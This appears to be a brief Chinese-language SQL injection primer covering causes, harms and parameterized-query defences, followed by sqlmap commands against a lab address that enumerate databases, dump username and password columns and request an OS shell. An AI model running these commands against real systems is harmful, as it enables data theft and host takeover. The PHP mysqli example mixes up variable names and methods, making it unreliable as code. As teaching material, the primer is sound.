SQL注入扫盲

什么是SQL注入?

原理:

Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以直接执行SQL命令

危害:

注入可能导致数据丢失泄露或数据破坏、缺乏可审计性,有时甚至能导致完全接管主机。

类型:

主要有 数字型字符型搜索型
对应SQL特点:123、’admin’、’%test1%’

防范:

使用参数化查询,并过滤敏感输入字符

mysqli

1
2
3
4
5
6
7
8
9
10
11
<?php 

$db=new mysqli("localhost","user","password","datebase");

$mysqli->prepare("SELECT priv FROM testUsers WHERE user=? AND password=? ");

$stmt->bindParam('ss',$user,$password);

$stmt->execute();

?>

PDO

1
2
3
4
5
6
7
8
9
<?php 

$stmt=$db->prepare("SELECT * FROM table WHERE data=?");

$stmt->bindParam(1,$data);

$stmt->execute();

?>

寻找SQL注入漏洞

这里用SQLmap演示MySQL数据库的注入

各种数据库手工注入请看这

1.注入检测,获取数据库

1
python sqlmap.py -u "http://192.168.65.129/sqli/Less-1/?id=1" --dbs

2.列表

1
python sqlmap.py -u "http://192.168.65.129/sqli/Less-1/?id=1" -D "数据库名" --tables

3.列字段

1
python sqlmap.py -u "http://192.168.65.129/sqli/Less-1/?id=1" -D "数据库名" -T "表名" --columns

4.拖库,取数据

1
python sqlmap.py -u "http://192.168.65.129/sqli/Less-1/?id=1" -D "数据库名" -T "表名" -C "username,password" --dump  #--stop N 取前N条数据

5.其它参数

1
2
--is-dba  #是否dba权限
--os-shell #获取系统交互shell